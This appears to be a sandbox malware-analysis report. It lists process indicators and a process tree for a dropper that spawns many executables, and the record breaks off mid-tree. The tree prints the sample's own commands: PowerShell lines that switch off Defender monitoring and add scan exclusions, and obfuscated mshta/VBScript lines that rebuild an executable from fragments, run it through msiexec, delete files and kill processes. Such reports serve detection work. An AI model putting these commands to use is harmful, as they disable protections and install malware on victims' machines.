1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeCreateTokenPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeAssignPrimaryTokenPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeLockMemoryPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeIncreaseQuotaPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeMachineAccountPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeTcbPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeSecurityPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeTakeOwnershipPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeLoadDriverPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeSystemProfilePrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeSystemtimePrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeProfSingleProcessPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeIncBasePriorityPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeCreatePagefilePrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeCreatePermanentPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeBackupPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeRestorePrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeShutdownPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeDebugPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeAuditPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeSystemEnvironmentPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeChangeNotifyPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeRemoteShutdownPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeUndockPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeSyncAgentPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeEnableDelegationPrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeManageVolumePrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeImpersonatePrivilege	1520	Fri0480a54c0d2a7.exe
Token: SeCreateGlobalPrivilege	1520	Fri0480a54c0d2a7.exe
Token: 31	1520	Fri0480a54c0d2a7.exe
Token: 32	1520	Fri0480a54c0d2a7.exe
Token: 33	1520	Fri0480a54c0d2a7.exe
Token: 34	1520	Fri0480a54c0d2a7.exe
Token: 35	1520	Fri0480a54c0d2a7.exe
Token: SeDebugPrivilege	1104	Fri0470d89df3bb718.exe
Token: SeRestorePrivilege	4472	WerFault.exe
Token: SeBackupPrivilege	4472	WerFault.exe
Token: SeDebugPrivilege	3580	Fri04a13875aa1c59b58.exe
Token: SeDebugPrivilege	5772	taskkill.exe
Token: SeDebugPrivilege	1572	taskkill.exe
Token: SeDebugPrivilege	5272	Fri04f70c88181ec8.exe
Token: SeDebugPrivilege	6000	Fri0431de7a47.exe
Token: SeIncreaseQuotaPrivilege	1592	powershell.exe
Token: SeSecurityPrivilege	1592	powershell.exe
Token: SeTakeOwnershipPrivilege	1592	powershell.exe
Token: SeLoadDriverPrivilege	1592	powershell.exe
Token: SeSystemProfilePrivilege	1592	powershell.exe
Token: SeSystemtimePrivilege	1592	powershell.exe
Token: SeProfSingleProcessPrivilege	1592	powershell.exe
Token: SeIncBasePriorityPrivilege	1592	powershell.exe
Token: SeCreatePagefilePrivilege	1592	powershell.exe
Token: SeBackupPrivilege	1592	powershell.exe
Token: SeRestorePrivilege	1592	powershell.exe
Token: SeShutdownPrivilege	1592	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeSystemEnvironmentPrivilege	1592	powershell.exe
Token: SeRemoteShutdownPrivilege	1592	powershell.exe
Token: SeUndockPrivilege	1592	powershell.exe
Token: SeManageVolumePrivilege	1592	powershell.exe
Token: 33	1592	powershell.exe
Token: 34	1592	powershell.exe
Token: 35	1592	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4036	Calculator.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 964 wrote to memory of 2144	964	f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe	81
PID 964 wrote to memory of 2144	964	f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe	81
PID 964 wrote to memory of 2144	964	f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe	81
PID 2144 wrote to memory of 2592	2144	setup_installer.exe	82
PID 2144 wrote to memory of 2592	2144	setup_installer.exe	82
PID 2144 wrote to memory of 2592	2144	setup_installer.exe	82
PID 2592 wrote to memory of 1560	2592	setup_install.exe	86
PID 2592 wrote to memory of 1560	2592	setup_install.exe	86
PID 2592 wrote to memory of 1560	2592	setup_install.exe	86
PID 2592 wrote to memory of 4720	2592	setup_install.exe	87
PID 2592 wrote to memory of 4720	2592	setup_install.exe	87
PID 2592 wrote to memory of 4720	2592	setup_install.exe	87
PID 1560 wrote to memory of 1592	1560	cmd.exe	92
PID 1560 wrote to memory of 1592	1560	cmd.exe	92
PID 1560 wrote to memory of 1592	1560	cmd.exe	92
PID 4720 wrote to memory of 1984	4720	cmd.exe	88
PID 4720 wrote to memory of 1984	4720	cmd.exe	88
PID 4720 wrote to memory of 1984	4720	cmd.exe	88
PID 2592 wrote to memory of 1756	2592	setup_install.exe	89
PID 2592 wrote to memory of 1756	2592	setup_install.exe	89
PID 2592 wrote to memory of 1756	2592	setup_install.exe	89
PID 2592 wrote to memory of 3008	2592	setup_install.exe	91
PID 2592 wrote to memory of 3008	2592	setup_install.exe	91
PID 2592 wrote to memory of 3008	2592	setup_install.exe	91
PID 2592 wrote to memory of 1820	2592	setup_install.exe	90
PID 2592 wrote to memory of 1820	2592	setup_install.exe	90
PID 2592 wrote to memory of 1820	2592	setup_install.exe	90
PID 2592 wrote to memory of 4740	2592	setup_install.exe	93
PID 2592 wrote to memory of 4740	2592	setup_install.exe	93
PID 2592 wrote to memory of 4740	2592	setup_install.exe	93
PID 2592 wrote to memory of 444	2592	setup_install.exe	94
PID 2592 wrote to memory of 444	2592	setup_install.exe	94
PID 2592 wrote to memory of 444	2592	setup_install.exe	94
PID 2592 wrote to memory of 2664	2592	setup_install.exe	95
PID 2592 wrote to memory of 2664	2592	setup_install.exe	95
PID 2592 wrote to memory of 2664	2592	setup_install.exe	95
PID 444 wrote to memory of 3176	444	cmd.exe	115
PID 444 wrote to memory of 3176	444	cmd.exe	115
PID 444 wrote to memory of 3176	444	cmd.exe	115
PID 2592 wrote to memory of 2644	2592	setup_install.exe	96
PID 2592 wrote to memory of 2644	2592	setup_install.exe	96
PID 2592 wrote to memory of 2644	2592	setup_install.exe	96
PID 2592 wrote to memory of 2848	2592	setup_install.exe	114
PID 2592 wrote to memory of 2848	2592	setup_install.exe	114
PID 2592 wrote to memory of 2848	2592	setup_install.exe	114
PID 4740 wrote to memory of 2996	4740	cmd.exe	113
PID 4740 wrote to memory of 2996	4740	cmd.exe	113
PID 4740 wrote to memory of 2996	4740	cmd.exe	113
PID 1820 wrote to memory of 3228	1820	cmd.exe	97
PID 1820 wrote to memory of 3228	1820	cmd.exe	97
PID 1820 wrote to memory of 3228	1820	cmd.exe	97
PID 2592 wrote to memory of 3132	2592	setup_install.exe	112
PID 2592 wrote to memory of 3132	2592	setup_install.exe	112
PID 2592 wrote to memory of 3132	2592	setup_install.exe	112
PID 2592 wrote to memory of 3480	2592	setup_install.exe	111
PID 2592 wrote to memory of 3480	2592	setup_install.exe	111
PID 2592 wrote to memory of 3480	2592	setup_install.exe	111
PID 2592 wrote to memory of 4964	2592	setup_install.exe	110
PID 2592 wrote to memory of 4964	2592	setup_install.exe	110
PID 2592 wrote to memory of 4964	2592	setup_install.exe	110
PID 3008 wrote to memory of 1576	3008	cmd.exe	98
PID 3008 wrote to memory of 1576	3008	cmd.exe	98
PID 3008 wrote to memory of 1576	3008	cmd.exe	98
PID 2848 wrote to memory of 3216	2848	cmd.exe	109

C:\Users\Admin\AppData\Local\Temp\f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
"C:\Users\Admin\AppData\Local\Temp\f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:964
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS068797F3\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2592
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1560
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4720
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri048a4e8610c6c199.exe
      4⤵
      PID:1756
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri048a4e8610c6c199.exe
        
        Fri048a4e8610c6c199.exe
        5⤵
        Executes dropped EXE
        
        PID:1596
      - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri048a4e8610c6c199.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri048a4e8610c6c199.exe" -u
        6⤵
        Executes dropped EXE
        
        PID:5380
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri040eeed7d137.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1820
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri040eeed7d137.exe
        
        Fri040eeed7d137.exe
        5⤵
        Executes dropped EXE
        
        PID:3228
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 300
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4740
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri04113f869350dcf8.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3008
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04113f869350dcf8.exe
        
        Fri04113f869350dcf8.exe
        5⤵
        Executes dropped EXE
        
        PID:1576
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04113f869350dcf8.exe"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF """" == """" for %s iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04113f869350dcf8.exe"" ) do taskkill /Im ""%~Nxs"" -f " , 0,TRUE) )
        6⤵
        
        PID:2432
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04113f869350dcf8.exe" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k &IF "" == "" for %s iN ( "C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04113f869350dcf8.exe" ) do taskkill /Im "%~Nxs" -f
        7⤵
        
        PID:5536
        
        C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE
        
        ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k
        8⤵
        Executes dropped EXE
        
        PID:6052
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF ""-pVmK5OY1Q2FwiV3_NJROp~tX8k "" == """" for %s iN ( ""C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE"" ) do taskkill /Im ""%~Nxs"" -f " , 0,TRUE) )
        9⤵
        
        PID:6136
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k &IF "-pVmK5OY1Q2FwiV3_NJROp~tX8k " == "" for %s iN ( "C:\Users\Admin\AppData\Local\Temp\z1HFJkPKWMLYRf.EXE" ) do taskkill /Im "%~Nxs" -f
        10⤵
        
        PID:5172
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBsCrIpt: closE ( crEateOBjECT ("WsCRipT.sHELl" ).ruN( "cmD.Exe /r EchO | SEt /P = ""MZ"" > OoZ39QP7.Q~P &cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x +6TWz8s9B.~T +TiRWH.Ql +FFUU.A1+ YZA~WMAU.H+ FDHTx.pBB + V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q * " ,0 , TRUE ) )
        9⤵
        
        PID:5728
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r EchO | SEt /P = "MZ" > OoZ39QP7.Q~P &cOPy /Y /b OOZ39QP7.q~P + 3_PI.f2x +6TWz8s9B.~T +TiRWH.Ql +FFUU.A1+ YZA~WMAU.H+ FDHTx.pBB+ V16YA.kU ..\WGKZNZ9t.jOX & StArT msiexec.exe -y ..\WgKZNZ9T.JOX & deL /Q *
        10⤵
        
        PID:5932
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>OoZ39QP7.Q~P"
        11⤵
        
        PID:6036
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EchO "
        11⤵
        
        PID:5428
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe -y ..\WgKZNZ9T.JOX
        11⤵
        Loads dropped DLL
        
        PID:6136
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /Im "Fri04113f869350dcf8.exe" -f
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1572
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri04e6f3b78ae5759.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4740
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04e6f3b78ae5759.exe
        
        Fri04e6f3b78ae5759.exe
        5⤵
        Executes dropped EXE
        
        PID:2996
      - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04e6f3b78ae5759.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04e6f3b78ae5759.exe
        6⤵
        Executes dropped EXE
        
        PID:3592
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri0471ced4d802994.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:444
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0471ced4d802994.exe
        
        Fri0471ced4d802994.exe
        5⤵
        Executes dropped EXE
        
        PID:3176
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri04f70c88181ec8.exe
      4⤵
      PID:2664
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04f70c88181ec8.exe
        
        Fri04f70c88181ec8.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1408
      - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04f70c88181ec8.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri04f70c88181ec8.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5272
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri043b65bf09aa6129a.exe
      4⤵
      PID:2644
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri043b65bf09aa6129a.exe
        
        Fri043b65bf09aa6129a.exe
        5⤵
        Executes dropped EXE
        
        PID:1252
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCrIPT:cLOsE(CREatEObjecT( "wscript.shell" ). ruN ("cMD.eXe /q/c coPY /y ""C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri043b65bf09aa6129a.exe"" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If """" == """" for %m iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri043b65bf09aa6129a.exe"" ) do taskkill /F /iM ""%~nXm"" " , 0, tRUE ) )
        6⤵
        
        PID:2412
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q/c coPY /y "C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri043b65bf09aa6129a.exe" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If ""== "" for %m iN ( "C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri043b65bf09aa6129a.exe") do taskkill /F /iM "%~nXm"
        7⤵
        
        PID:5224
        
        C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE
        
        ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6
        8⤵
        Executes dropped EXE
        
        PID:5656
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCrIPT:cLOsE(CREatEObjecT( "wscript.shell" ). ruN ("cMD.eXe /q/c coPY /y ""C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE"" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If ""-POMRtdzPDR3vhvdcwHXlRw6vXu6 "" == """" for %m iN ( ""C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE"" ) do taskkill /F /iM ""%~nXm"" " , 0, tRUE ) )
        9⤵
        
        PID:5840
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q/c coPY /y "C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE" ..\FJX5FJQXmPBM.exE && STart ..\FJX5FjQXmPBM.eXE -POMRtdzPDR3vhvdcwHXlRw6vXu6 & If "-POMRtdzPDR3vhvdcwHXlRw6vXu6 "== "" for %m iN ( "C:\Users\Admin\AppData\Local\Temp\FJX5FJQXmPBM.exE") do taskkill /F /iM "%~nXm"
        10⤵
        
        PID:5980
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCRipt: CLOSE ( CreateobjeCT( "WScRipT.shELL" ). RUn ( "cmd /r EcHO | set /P = ""MZ"" > LBBCBWE.COE & Copy /Y /b LBbCBWe.COE + PdpGW72.5yO +mNJeI.lLp + GL6hqC.zFb ..\JPBHeH05.Q & StART msiexec -y ..\JPBHeH05.Q & DeL /q * " , 0, TRue ))
        9⤵
        
        PID:5280
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r EcHO | set /P = "MZ" > LBBCBWE.COE & Copy /Y /b LBbCBWe.COE + PdpGW72.5yO+mNJeI.lLp +GL6hqC.zFb ..\JPBHeH05.Q &StART msiexec -y ..\JPBHeH05.Q& DeL /q *
        10⤵
        
        PID:5424
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        11⤵
        
        PID:876
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>LBBCBWE.COE"
        11⤵
        
        PID:5836
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -y ..\JPBHeH05.Q
        11⤵
        Loads dropped DLL
        
        PID:5984
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /iM "Fri043b65bf09aa6129a.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5772
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri0470d89df3bb718.exe
      4⤵
      PID:2232
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri0470d89df3bb718.exe
        
        Fri0470d89df3bb718.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1104
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri043a70f76ef98.exe
      4⤵
      PID:4468
    - - C:\Users\Admin\AppData\Local\Temp\7zS068797F3\Fri043a70f76ef98.exe
        
        Fri043a70f76ef98.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1784
      - C:\Users\Admin\Pictures\Adobe Films\K8hO0dAtapxyDU5ikK7ieN_k.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\K8hO0dAtapxyDU5ikK7ieN_k.exe"
        6⤵
        Executes dropped EXE
        
        PID:4376
      - C:\Users\Admin\Pictures\Adobe Films\2RB5MmsYuJ2X6UgTpspeSGVr.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\2RB5MmsYuJ2X6UgTpspeSGVr.exe"
        6⤵
        Executes dropped EXE
        
        PID:5688
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5688 -s 272
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2412
      - C:\Users\Admin\Pictures\Adobe Films\B4oIV4xuoXmrN37kPg7XE_LJ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\B4oIV4xuoXmrN37kPg7XE_LJ.exe"
        6⤵
        Executes dropped EXE
        
        PID:2016
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2016 -s 292
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5644
      - C:\Users\Admin\Pictures\Adobe Films\hPL5nJPHec1YUgsDFRMnpOV0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\hPL5nJPHec1YUgsDFRMnpOV0.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6032
      - C:\Users\Admin\Pictures\Adobe Films\oLkyJYpWrFF66iwgZsFKJ_6L.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\oLkyJYpWrFF66iwgZsFKJ_6L.exe"
        6⤵
        Executes dropped EXE
        
        PID:4544
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 296
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5556
      - C:\Users\Admin\Pictures\Adobe Films\r5J71KC6x0z2vT9QOW5SuWg6.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\r5J71KC6x0z2vT9QOW5SuWg6.exe"
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Modifies system certificate store
        
        PID:5952
        
        C:\Users\Admin\Documents\Q7SCwfjNM1dzQZ7H0Rkd2OXz.exe
        
        "C:\Users\Admin\Documents\Q7SCwfjNM1dzQZ7H0Rkd2OXz.exe"
        7⤵
        Executes dropped EXE
        
        PID:5836
        
        C:\Users\Admin\Pictures\Adobe Films\3ypwb08wMAT3zRdPqDnEgPA_.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\3ypwb08wMAT3zRdPqDnEgPA_.exe"
        8⤵
        Executes dropped EXE
        
        PID:2664
        
        C:\Users\Admin\Pictures\Adobe Films\2VzwuQfgbjBGfaQ7hXeYD7jU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\2VzwuQfgbjBGfaQ7hXeYD7jU.exe"
        8⤵
        Executes dropped EXE
        
        PID:2416
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 300
        9⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5560
        
        C:\Users\Admin\Pictures\Adobe Films\zzQ6J3F2tfdsysd_iszeenOZ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\zzQ6J3F2tfdsysd_iszeenOZ.exe"
        8⤵
        Executes dropped EXE
        
        PID:1912
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1912 -s 1768
        9⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5724
        
        C:\Users\Admin\Pictures\Adobe Films\U01E3FRuxhJk8x8Nod3smRWs.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\U01E3FRuxhJk8x8Nod3smRWs.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2996
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2996 -s 204
        9⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1412
        
        C:\Users\Admin\Pictures\Adobe Films\DgmadbljloY6bmd1zxLQj5uu.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\DgmadbljloY6bmd1zxLQj5uu.exe"
        8⤵
        Executes dropped EXE
        
        PID:5416
        
        C:\Users\Admin\Pictures\Adobe Films\czvzDan9sA9vr9OzhXXrIVvE.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\czvzDan9sA9vr9OzhXXrIVvE.exe"
        8⤵
        Executes dropped EXE
        
        PID:3208
        
        C:\Users\Admin\Pictures\Adobe Films\czvzDan9sA9vr9OzhXXrIVvE.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\czvzDan9sA9vr9OzhXXrIVvE.exe" -u
        9⤵
        Executes dropped EXE
        
        PID:5060
        
        C:\Users\Admin\Pictures\Adobe Films\lMlZ5QXYqhqtRjLWCYje0Fph.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\lMlZ5QXYqhqtRjLWCYje0Fph.exe"
        8⤵
